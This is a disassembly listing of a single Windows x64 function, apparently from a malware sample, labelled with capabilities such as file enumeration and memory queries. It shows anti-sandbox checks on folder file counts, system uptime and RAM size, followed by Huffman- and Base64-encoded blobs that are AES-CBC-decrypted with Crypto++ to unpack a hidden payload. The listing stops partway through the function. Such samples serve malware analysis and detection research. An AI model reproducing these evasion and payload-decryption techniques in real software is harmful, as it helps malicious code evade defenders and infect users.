Function at 0x140007c30
Capabilities:
Create thread
Enumerate files on windows
Get common file path
Get memory capacity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x6d0
mov rax, qword [0x14004c180]
xor rax, rsp
mov qword [rsp + 0x6c0], rax
xor r13d, r13d
cmp ecx, 1
je 0x14000a029
mov rdx, qword [rdx + 8]
lea rcx, [rsp + 0x2d8]
call fcn.1400016e0
xor eax, eax
mov qword [rsp + 0x1f0], rax
mov dword [rsp + 0x1f8], eax
mov byte [rsp + 0x1fc], al
movdqa xmm0, xmmword [0x140041a90]
movdqa xmmword [rsp + 0x200], xmm0
movdqa xmm1, xmmword [0x140041ee0]
movdqa xmmword [rsp + 0x210], xmm1
movdqa xmm0, xmmword [0x140041c60]
movdqa xmmword [rsp + 0x220], xmm0
lea rcx, [rsp + 0x1f0]
call fcn.14000b380
mov rdx, 0xffffffffffffffff
nop dword [rax + rax]
inc rdx
cmp byte [rax + rdx], r13b
jne 0x140007ce0
lea rcx, [rsp + 0x2d8]
mov rbx, qword [rsp + 0x2f0]
cmp rbx, 0x10
setae sil
mov rdi, qword [rsp + 0x2d8]
cmovae rcx, rdi
mov r8, qword [rsp + 0x2e8]
cmp r8, rdx
jne 0x140009fef
mov rdx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140009fef
test sil, sil
je 0x140007d64
lea rdx, [rbx + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140007d5c
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a01a
mov rcx, rdi
call fcn.14003499c
xorps xmm0, xmm0
movups xmmword [rsp + 0x430], xmm0
movups xmmword [rsp + 0x440], xmm0
mov ecx, 0x10
call fcn.140024e20
mov r15, rax
mov qword [rsp + 0x448], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1f0], xmm0
mov byte [rsp + 0x200], al
mov dword [rsp + 0x204], 0x7b
mov dword [rsp + 0x208], 0x17
mov dword [rsp + 0x20c], 0x11
movdqa xmm0, xmmword [0x140041df0]
movdqa xmmword [rsp + 0x210], xmm0
movdqa xmm1, xmmword [0x140041fa0]
movdqa xmmword [rsp + 0x220], xmm1
movdqa xmm0, xmmword [str.E6__b]
movdqa xmmword [rsp + 0x230], xmm0
mov dword [rsp + 0x240], 0x15
lea rcx, [rsp + 0x1f0]
call fcn.14000af50
mov qword [rsp + 0x440], 0x10
test r15, r15
je 0x140007e29
test rax, rax
je 0x140007e29
movups xmm0, xmmword [rax]
movups xmmword [r15], xmm0
mov qword [rsp + 0x438], 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x410], xmm0
movups xmmword [rsp + 0x420], xmm0
mov ecx, 0x10
call fcn.140024e20
mov rsi, rax
mov qword [rsp + 0x428], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1f0], xmm0
mov byte [rsp + 0x200], al
mov dword [rsp + 0x204], 0xd
mov dword [rsp + 0x208], 0x7b
mov dword [rsp + 0x20c], 0x2e
movdqa xmm0, xmmword [0x140041d70]
movdqa xmmword [rsp + 0x210], xmm0
movdqa xmm1, xmmword [0x140041d00]
movdqa xmmword [rsp + 0x220], xmm1
movdqa xmm0, xmmword [0x140041a60]
movdqa xmmword [rsp + 0x230], xmm0
mov dword [rsp + 0x240], 3
lea rcx, [rsp + 0x1f0]
call fcn.14000ab20
mov qword [rsp + 0x420], 0x10
test rsi, rsi
je 0x140007ef9
test rax, rax
je 0x140007ef9
movups xmm0, xmmword [rax]
movups xmmword [rsi], xmm0
mov qword [rsp + 0x418], 0xffffffffffffffff
call fcn.1400057c0
test al, al
jne 0x140009fb3
lea r9, [rsp + 0x100]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140037660]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x140009fb3
mov rcx, qword [rsp + 0x100]
call fcn.140005440
mov edi, eax
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
cmp edi, 6
jl 0x140009fb3
mov edi, r13d
mov qword [rsp + 0x100], r13
lea r9, [rsp + 0x100]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140037670]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x140009fb3
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x2d8]
call fcn.140013e40
nop
lea rdx, str..
lea rcx, [rsp + 0x2d8]
call fcn.140014710
lea rcx, [rsp + 0x2d8]
cmp qword [rsp + 0x2f0], 8
cmovae rcx, qword [rsp + 0x2d8]
lea rdx, [rsp + 0x470]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000801e
nop dword [rax]
nop word [rax + rax]
mov ecx, edi
test byte [rsp + 0x470], 0x10
lea edi, [rdi + 1]
cmovne edi, ecx
lea rdx, [rsp + 0x470]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140007ff0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
mov rdx, qword [rsp + 0x2f0]
cmp rdx, 8
jb 0x140008078
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008073
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008073
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
cmp edi, 5
jle 0x140009fb3
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x75300
jb 0x140009fb3
call fcn.1400055d0
test al, al
jne 0x140009fb3
call fcn.140005a80
test eax, eax
jne 0x140009fb3
mov dword [rsp + 0x1f0], 0x40
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rsp + 0x1f8]
xorps xmm1, xmm1
test rcx, rcx
js 0x1400080dc
cvtsi2sd xmm1, rcx
jmp 0x1400080f1
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
mulsd xmm1, qword [0x140041938]
movsd xmm0, qword [0x140041940]
comisd xmm0, xmm1
ja 0x140009fb3
mov rdx, rsi
mov rcx, r15
call fcn.140006380
test eax, eax
jne 0x140009fb3
xorps xmm0, xmm0
movups xmmword [rsp + 0x370], xmm0
mov ecx, 0x2d0
call fcn.140034960
mov r8, rax
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x380], 0x2cd
mov qword [rsp + 0x388], 0x2cf
mov rcx, rax
lea rdx, str.001101110001000010110011111000100111101111001011010011001101101000111001110010111010010010000100101111101110111011001011110011001000110011101011000011011110001011101000010101001110100011000100110101101000101000110000011111111000000000111101111011111110110001101110110110100011011100111010110100101010111001010000000010110000101110100101100011000001010111101000000111001110010101100000001010100110111001110100100100000100101111111001111111011011110010111100101111110010000011000110010100010110101100111010000110111100110010001010011011010111111010100101100100110101100010110001111001110101000001100111001111111111011110110010101111000011010011001000010101111101000111000101111100110101111001110111110001011111001111010
mov edi, 5
nop word [rax + rax]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub rdi, 1
jne 0x140008170
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
mov rax, qword [rdx + 0x40]
mov qword [rcx + 0x40], rax
mov eax, dword [rdx + 0x48]
mov dword [rcx + 0x48], eax
movzx eax, byte [rdx + 0x4c]
mov byte [rcx + 0x4c], al
mov byte [r8 + 0x2cd], dil
xorps xmm0, xmm0
movups xmmword [rsp + 0x108], xmm0
mov qword [rsp + 0x118], r13
mov qword [rsp + 0x120], 0xf
mov ecx, 0xe20
call fcn.140034960
mov rdi, rax
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x118], 0xe1b
mov qword [rsp + 0x120], 0xe1f
mov rcx, rax
lea rdx, str._frequency_:_128___left_:__frequency_:_56___left_:__frequency_:_24___left_:__frequency_:_12___left_:__frequency_:_6___left_:__char_:__W____frequency_:_3___right_:__char_:__2____frequency_:_3___right_:__frequency_:_6___left_:__char_:__C____frequency_:_3___right_:__char_:__j____frequency_:_3___right_:__frequency_:_12___left_:__frequency_:_6___left_:__char_:__Z____frequency_:_3___right_:__char_:__5____frequency_:_3___right_:__frequency_:_6___left_:__char_:__c____frequency_:_3___right_:__char_:__n____frequency_:_3___right_:__frequency_:_32___left_:__frequency_:_16___left_:__frequency_:_8___left_:__char_:__O____frequency_:_4___right_:__char_:__7____frequency_:_4___right_:__frequency_:_8___left_:__char_:__s____frequency_:_4___right_:__frequency_:_4___left_:__char_:__6____frequency_:_2___right_:__char_:__u____frequency_:_2___right_:__frequency_:_16___left_:__frequency_:_8___left_:__frequency_:_4___left_:__frequency_:_2___left_:__char_:__o____frequency_:_1___right_:__char_:__m____frequency_:_1___right_:__frequency_:_2___left_:__char_:__D____frequency_:_1___right_:__char_:__z____frequency_:_1___right_:__frequency_:_4___left_:__char_:__E____frequency_:_2___right_:__frequency_:_2___left_:__char_:__i____frequency_:_1___right_:__char_:__J____frequency_:_1___right_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__H____frequency_:_2___right_:__char_:__w____frequency_:_2___right_:__frequency_:_4___left_:__char_:__Q____frequency_:_2___right_:__frequency_:_2___left_:__char_:__P____frequency_:_1___right_:__char_:__l____frequency_:_1___right_:__frequency_:_72___left_:__frequency_:_32___left_:__frequency_:_16___left_:__frequency_:_8___left_:__char_:__g____frequency_:_4___right_:__frequency_:_4___left_:__char_:__b____frequency_:_2___right_:__frequency_:_2___left_:__char_:__K____frequency_:_1___right_:__char_:__3____frequency_:_1___right_:__frequency_:_8___left_:__frequency_:_4___left_:__frequency_:_2___left_:__char_:__k____frequency_:_1___right_:__char_:__v____frequency_:_1___right_:__char_:__h____frequency_:_2___right_:__char_:__A____frequency_:_4___right_:__frequency_:_16___left_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__V____frequency_:_2___right_:__char_:__f____frequency_:_2___right_:__char_:__0____frequency_:_4___right_:__frequency_:_8___left_:__frequency_:_4___left_:__frequency_:_2___left_:__char_:__T____frequency_:_1___right_:__char_:__9____frequency_:_1___right_:__frequency_:_2___left_:__char_:__F____frequency_:_1___right_:__char_:__G____frequency_:_1___right_:__frequency_:_4___left_:__char_:__U____frequency_:_2___right_:__char_:__I____frequency_:_2___right_:__frequency_:_40___left_:__frequency_:_17___left_:__frequency_:_8___left_:__char_:_______frequency_:_4___right_:__frequency_:_4___left_:__frequency_:_2___left_:__char_:__p____frequency_:_1___right_:__char_:__R____frequency_:_1___right_:__char_:__X____frequency_:_2___right_:__frequency_:_9___left_:__char_:__q____frequency_:_4___right_:__char_:__t____frequency_:_5___right_:__frequency_:_23___left_:__frequency_:_11___left_:__char_:__N____frequency_:_5___right_:__char_:__M____frequency_:_6___right_:__frequency_:_12___left_:__frequency_:_6___left_:__char_:__x____frequency_:_3___right_:__char_:__4____frequency_:_3___right_:__frequency_:_6___left_:__char_:______frequency_:_3___right_:__frequency_:_3___left_:__char_:__Y____frequency_:_1___right_:__char_:__d____frequency_:_2
mov r8d, 0xe1b
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + 0xe1b], 0
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0x370]
lea rcx, [rsp + 0x168]
call fcn.1400045f0
nop
mov r9, rsi
mov r8, r15
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x148]
call fcn.140005d50
nop
lea rcx, [rsp + 0x148]
call fcn.1400079a0
test al, al
je 0x140008439
call fcn.140005290
nop
mov rdx, qword [rsp + 0x160]
cmp rdx, 0x10
jb 0x1400082fc
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400082f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009d5d
call fcn.14003499c
mov qword [rsp + 0x158], r13
mov qword [rsp + 0x160], 0xf
mov byte [rsp + 0x148], 0
mov rdx, qword [rsp + 0x180]
cmp rdx, 0x10
jb 0x14000835b
inc rdx
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008356
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009dbf
call fcn.14003499c
mov qword [rsp + 0x178], r13
mov qword [rsp + 0x180], 0xf
mov byte [rsp + 0x168], 0
mov rdx, qword [rsp + 0x120]
cmp rdx, 0x10
jb 0x1400083ba
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400083b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e21
call fcn.14003499c
mov qword [rsp + 0x118], r13
mov qword [rsp + 0x120], 0xf
mov byte [rsp + 0x108], 0
mov rdx, qword [rsp + 0x388]
cmp rdx, 0x10
jb 0x14000841a
inc rdx
mov rcx, qword [rsp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008414
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e83
call fcn.14003499c
nop
test rsi, rsi
je 0x140008434
mov rdi, rsi
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
jmp 0x140009fd3
xorps xmm0, xmm0
movups xmmword [rsp + 0x450], xmm0
mov qword [rsp + 0x460], r13
mov qword [rsp + 0x468], 0xf
mov byte [rsp + 0x450], 0
movups xmmword [rsp + 0x350], xmm0
mov qword [rsp + 0x360], r13
mov qword [rsp + 0x368], 0xf
mov ecx, 0x2f67
call fcn.140034960
test rax, rax
je 0x140009fac
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov qword [rsp + 0x350], rdi
mov qword [rsp + 0x360], 0x2f3c
mov qword [rsp + 0x368], 0x2f3f
mov r8d, 0x2f3c
lea rdx, str.0011101101100111101101011010011001110111001000111110111111110100101000110110000101111011100111100100001110001001010101110011001000010000110100111100101001011011001010000101011101010001100100000111011001000101101011011101001111001001111101010011110011011000101010011111101001011011011100101110110010001111111000010101111111101001011011011100101110110010001111111000010101111101111001111101010011100010100001000001011001110111011000010011101011101101010001010000100101111111011101100011111110100101101101110010111011001000111111100001010111100000000110010001110100001101011010001100111001101000110011100111111001110100010010010111110001011011010000110110111010101100000000101111001110011111101001011011011100101110110010001111111000010101100001111010011001000011011001100101110111101111000111111000101000011100101101100111111111101001011011011100101110110010001111111000010101100000011010001111001010000011110111111100010001110001010000101111001100100100111000010001001110111100010101101000111101001100001111110001110011111011110010001000111011000110000011100110011111001110010011000111110111011110001110110100110011000000001111010111101001111011111011011001011010100100110000111001111110110111100001100001101001100001110010101000001001110111011111010001111011110100000111001101010101110101111001010010111100001101100000110101010100101001110100111100101111110011001010011010001111011100101101111110000011101000101110010100001000010010111000001110101111000110001101011000011111101001011011011100101110110010001111111000010101111011001111011100111011110110010100000110011110100111101010010011011111111110100101101101110010111011001000111111100001010111111001100101011111110101011011011111001011111101110001011000000001111100001001111010000000000111011001001101001011101010110111101011011100011110110010100111010100100110110101001110010111111011001111011101001111010110010000011010000111011001100001110001010101111111000011111101001011011011100101110110010001111111000010101100100110011111010101000000100110010100010111100100101011110110010011100101000111100010011000111110100001001100010001101001100111011110101000011111100011110001101110111010011101101100010000100100001110100111101111110011100110011100111111010100000011111110010100011011110000110101111010110000001101001010101010000110100010100110001110000001011110111001100011011100100111110101010110101010101110000101010011111001101110001111111010010110110111001011101100100011111110000101011010011111100001001111110110101000000000000101101110110000010000111011101001001101101110011011000010011100111000111001011011011000011011101110111000100011000111100111111101001011011011100101110110010001111111000010101111100111100111001011101111101000011011000110001110100111011101000101110010011111000011110001001111001110010101000110010011011101000101111011111011010110000000110001101010001001100001001011011011111111010111001111111000010001010111100110010000001101010011001010111111001111001100101000101011111101001011011011100101110110010001111111000010101111001111110011100100110011110010011001101000011001111000111111101111000000011100111000110000111001110100110101101111001010100001000000110010111000000101001101101100100010000111111100111100101100110111100111010001000010111110100000010100000100101000110111100010010011011101111000000100100000111110101100101101010010010111101001110001010101101010100100111000110110001111000100110101100001001000100001100000000101101000100000110100001100001101010101101110010000000011000011011110001110100000111001000111110000010011001111001111101000001010110000110001001000000110010001011111011110111010100001100011110001110110010100011011111001101010101010011100001010010000100011110000010100001110000001000001011001010010100010101000100111010100101111111101001011011011100101110110010001111111000010101111011110010101011110011110111011100000110100110000000000100001100001010011010111111001100110111000010010101111011100100000101111101111110001011111011110011001001110001100011000011111101000100111101101001110100111111010111111010010110110111001011101100100011111110000101011100100111110110011010101001111101001
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + 0x2f3c], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], r13
mov qword [rsp + 0x140], 0xf
mov ecx, 0x12b7
call fcn.140034960
test rax, rax
je 0x140009fa5
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x138], 0x128d
mov qword [rsp + 0x140], 0x128f
mov r8d, 0x128d
lea rdx, str._frequency_:_2014___left_:__frequency_:_863___left_:__frequency_:_405___left_:__frequency_:_196___left_:__frequency_:_96___left_:__frequency_:_48___left_:__char_:__H____frequency_:_24___right_:__char_:__f____frequency_:_24___right_:__frequency_:_48___left_:__char_:__E____frequency_:_24___right_:__char_:__n____frequency_:_24___right_:__frequency_:_100___left_:__frequency_:_49___left_:__char_:__J____frequency_:_24___right_:__char_:__6____frequency_:_25___right_:__frequency_:_51___left_:__char_:__N____frequency_:_25___right_:__char_:__T____frequency_:_26___right_:__frequency_:_209___left_:__frequency_:_104___left_:__frequency_:_52___left_:__char_:__1____frequency_:_26___right_:__char_:__u____frequency_:_26___right_:__frequency_:_52___left_:__char_:__d____frequency_:_26___right_:__char_:__7____frequency_:_26___right_:__frequency_:_105___left_:__frequency_:_52___left_:__char_:__o____frequency_:_26___right_:__char_:__z____frequency_:_26___right_:__frequency_:_53___left_:__char_:__B____frequency_:_26___right_:__char_:__Y____frequency_:_27___right_:__frequency_:_458___left_:__frequency_:_223___left_:__frequency_:_110___left_:__frequency_:_54___left_:__char_:__2____frequency_:_27___right_:__char_:__L____frequency_:_27___right_:__frequency_:_56___left_:__char_:__x____frequency_:_28___right_:__char_:__Q____frequency_:_28___right_:__frequency_:_113___left_:__frequency_:_56___left_:__char_:__4____frequency_:_28___right_:__char_:__3____frequency_:_28___right_:__char_:__A____frequency_:_57___right_:__frequency_:_235___left_:__frequency_:_116___left_:__frequency_:_58___left_:__char_:_______frequency_:_29___right_:__char_:__K____frequency_:_29___right_:__frequency_:_58___left_:__char_:__X____frequency_:_29___right_:__char_:__c____frequency_:_29___right_:__frequency_:_119___left_:__frequency_:_59___left_:__char_:__v____frequency_:_29___right_:__char_:__D____frequency_:_30___right_:__frequency_:_60___left_:__char_:__I____frequency_:_30___right_:__char_:__b____frequency_:_30___right_:__frequency_:_1151___left_:__frequency_:_513___left_:__frequency_:_249___left_:__frequency_:_123___left_:__char_:__i____frequency_:_61___right_:__char_:__e____frequency_:_62___right_:__frequency_:_126___left_:__frequency_:_62___left_:__char_:__S____frequency_:_31___right_:__frequency_:_31___left_:__char_:__G____frequency_:_14___right_:__frequency_:_17___left_:__frequency_:_3___left_:__char_:______frequency_:_1___right_:__frequency_:_2___left_:__char_:_______frequency_:_1___right_:__char_:_______frequency_:_1___right_:__char_:__t____frequency_:_14___right_:__frequency_:_64___left_:__char_:__m____frequency_:_31___right_:__char_:__0____frequency_:_33___right_:__frequency_:_264___left_:__frequency_:_131___left_:__char_:__h____frequency_:_65___right_:__frequency_:_66___left_:__char_:__W____frequency_:_33___right_:__char_:______frequency_:_33___right_:__frequency_:_133___left_:__frequency_:_66___left_:__char_:_______frequency_:_33___right_:__char_:_______frequency_:_33___right_:__frequency_:_67___left_:__char_:_______frequency_:_33___right_:__char_:__O____frequency_:_34___right_:__frequency_:_638___left_:__frequency_:_291___left_:__frequency_:_139___left_:__frequency_:_68___left_:__char_:__P____frequency_:_34___right_:__char_:__r____frequency_:_34___right_:__frequency_:_71___left_:__char_:__Z____frequency_:_35___right_:__char_:__k____frequency_:_36___right_:__frequency_:_152___left_:__frequency_:_74___left_:__char_:__8____frequency_:_37___right_:__frequency_:_37___left_:__char_:__y____frequency_:_18___right_:__char_:__p____frequency_:_19___right_:__frequency_:_78___left_:__char_:__V____frequency_:_38___right_:__frequency_:_40___left_:__char_:__M____frequency_:_20___right_:__char_:__a____frequency_:_20___right_:__frequency_:_347___left_:__frequency_:_167___left_:__frequency_:_83___left_:__frequency_:_41___left_:__char_:__j____frequency_
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + 0x128d], 0
lea r8, [rsp + 0x128]
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x2a0]
call fcn.1400045f0
nop
mov dword [rsp + 0x104], 0x65
mov word [rsp + 0x100], 0x3d
xor eax, eax
mov qword [rsp + 0x2d8], rax
mov word [rsp + 0x2e0], ax
mov byte [rsp + 0x2e2], al
movdqa xmm0, xmmword [0x140041ad0]
movdqu xmmword [rsp + 0x2e4], xmm0
movdqa xmm1, xmmword [0x140041ed0]
movdqu xmmword [rsp + 0x2f4], xmm1
mov dword [rsp + 0x304], 0x13
mov dword [rsp + 0x308], 0x70
lea rcx, [rsp + 0x2d8]
call fcn.14000a870
lea r9, [rsp + 0x100]
mov r8, rax
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x280]
call fcn.1400050d0
nop
mov dword [rsp + 0x104], 0x63
mov word [rsp + 0x100], 0x2b
xor eax, eax
mov qword [rsp + 0x48], rax
mov word [rsp + 0x50], ax
mov byte [rsp + 0x52], al
movdqa xmm0, xmmword [0x140041a30]
movdqu xmmword [rsp + 0x54], xmm0
movdqa xmm1, xmmword [0x140041aa0]
movdqu xmmword [rsp + 0x64], xmm1
mov dword [rsp + 0x74], 0x49
mov dword [rsp + 0x78], 0x30
lea rcx, [rsp + 0x48]
call fcn.14000a5c0
lea r9, [rsp + 0x100]
mov r8, rax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x260]
call fcn.1400050d0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x1a8], xmm0
mov qword [rsp + 0x1b8], r13
mov qword [rsp + 0x1c0], 0xf
mov byte [rsp + 0x1a8], 0
mov ecx, 0x68
call fcn.140034960
mov rbx, rax
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov qword [rbx + 0x60], rax
lea ecx, [rax + 0x20]
call fcn.140034960
mov rdi, rax
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
xor edx, edx
mov rcx, rax
call fcn.14001f040
lea rax, vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.0
mov qword [rdi], rax
lea rax, vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.1.0
mov qword [rdi + 8], rax
lea rax, [rsp + 0x1a8]
mov qword [rdi + 0x18], rax
call fcn.14002f6a0
mov rdx, rax
mov r9, rdi
mov r8d, 6
mov rcx, rbx
call fcn.140003c40
lea rax, vtable.CryptoPP::Base64Decoder.1.0
mov qword [rbx], rax
lea rax, vtable.CryptoPP::Base64Decoder.0
mov qword [rbx + 8], rax
mov r9, rbx
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x1f0]
call fcn.140003a00
lea r14, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.0
mov qword [rsp + 0x1f0], r14
lea r12, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.1.0
mov qword [rsp + 0x1f8], r12
mov rcx, qword [rsp + 0x208]
test rcx, rcx
je 0x140008798
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x198], r13
mov qword [rsp + 0x1a0], 0xf
mov byte [rsp + 0x188], 0
movups xmmword [rsp + 0x1f0], xmm0
movups xmmword [rsp + 0x200], xmm0
movups xmmword [rsp + 0x210], xmm0
movups xmmword [rsp + 0x220], xmm0
movups xmmword [rsp + 0x230], xmm0
movups xmmword [rsp + 0x240], xmm0
mov dl, 1
lea rcx, [rsp + 0x1f8]
call fcn.14001f040
movabs rax, 0x3fffffffffffffff
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x220], r13
mov qword [rsp + 0x228], r13
mov qword [rsp + 0x238], 0xffffffffffffffff
mov qword [rsp + 0x240], r13
mov qword [rsp + 0x248], r13
lea rax, vtable.CryptoPP::BlockCipherFinal_1__class_CryptoPP::Rijndael::Dec_.0
mov qword [rsp + 0x1f0], rax
lea rax, vtable.CryptoPP::BlockCipherFinal_1__class_CryptoPP::Rijndael::Dec_.1.0
mov qword [rsp + 0x1f8], rax
mov r9, qword [section..data]
mov r8d, 0x10
mov rdx, r15
lea rcx, [rsp + 0x1f0]
call fcn.1400205a0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x390], xmm0
movups xmmword [rsp + 0x3a0], xmm0
movups xmmword [rsp + 0x3b0], xmm0
movups xmmword [rsp + 0x3c0], xmm0
movups xmmword [rsp + 0x3d0], xmm0
movups xmmword [rsp + 0x3e0], xmm0
movups xmmword [rsp + 0x3f0], xmm0
mov qword [rsp + 0x400], rax
mov dl, 1
lea rcx, [rsp + 0x398]
call fcn.14001f040
mov qword [rsp + 0x3a0], r13
mov qword [rsp + 0x3b0], 0xffffffffffffffff
mov qword [rsp + 0x3b8], r13
mov qword [rsp + 0x3c0], r13
mov qword [rsp + 0x3d0], 0xffffffffffffffff
mov qword [rsp + 0x3d8], r13
mov qword [rsp + 0x3e0], r13
mov qword [rsp + 0x3f0], 0xffffffffffffffff
mov qword [rsp + 0x3f8], r13
mov qword [rsp + 0x400], r13
lea rax, vtable.CryptoPP::CipherModeFinalTemplate_ExternalCipher_class_CryptoPP::CBC_Decryption_.0
mov qword [rsp + 0x390], rax
lea rax, vtable.CryptoPP::CipherModeFinalTemplate_ExternalCipher_class_CryptoPP::CBC_Decryption_.1.0
mov qword [rsp + 0x398], rax
mov rdx, rsi
lea rcx, [rsp + 0x390]
call fcn.140020870
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x3a0], rax
lea rcx, [rsp + 0x390]
mov rax, qword [rsp + 0x390]
call qword [rax + 0x80]
mov rax, qword [rsp + 0x390]
xor edx, edx
lea rcx, [rsp + 0x390]
call qword [rax + 0x78]
lea rcx, [rsp + 0x390]
mov rax, qword [rsp + 0x390]
call qword [rax + 0x38]
cmp eax, 4
jge 0x1400089c6
mov rax, qword [rsp + 0x390]
mov r8d, 0xffffffff
mov rdx, rsi
lea rcx, [rsp + 0x390]
call qword [rax + 0x58]
nop
mov ecx, 0xe0
call fcn.140034960
mov rbx, rax
mov qword [rsp + 0x38], rax
xor edx, edx
mov r8d, 0xe0
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x20
call fcn.140034960
mov rdi, rax
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
xor edx, edx
mov rcx, rax
call fcn.14001f040
lea rax, vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.0
mov qword [rdi], rax
lea rax, vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.1.0
mov qword [rdi + 8], rax
lea rax, [rsp + 0x188]
